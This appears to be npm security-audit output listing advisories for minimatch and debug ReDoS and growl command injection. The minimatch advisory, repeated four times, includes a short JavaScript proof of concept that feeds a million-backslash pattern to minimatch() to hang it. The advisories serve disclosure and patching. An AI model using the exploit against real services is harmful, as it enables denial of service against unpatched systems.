Regular Expression Denial of Service

Overview:

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

Recommendation:

Updated to version 3.0.2 or greater

Regular Expression Denial of Service

Overview:

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

Recommendation:

Updated to version 3.0.2 or greater

Regular Expression Denial of Service

Overview:

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

Recommendation:

Updated to version 3.0.2 or greater

Regular Expression Denial of Service

Overview:

The debug module is vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter. It takes around 50k characters to block for 2 seconds making this a low severity issue.

Recommendation:

Upgrade to version 2.6.9 or greater if you are on the 2.6.x series or 3.1.0 or greater.

Regular Expression Denial of Service

Overview:

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) is vulnerable to ReDoS in the pattern parameter. This is because of the regular expression on line 521 of minimatch.js: /((?:\\{2})*)(\\?)\|/g,. The problematic portion of the regex is ((?:\\{2})*) which matches against \\.

A proof of concept is as follows: ``` var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```

Recommendation:

Updated to version 3.0.2 or greater

Command Injection

Overview:

Growl adds growl notification support to nodejs.

Growl does not properly sanitize input before passing it to exec, allowing for arbitrary command execution.

Recommendation:

Update to version 1.10.2 or greater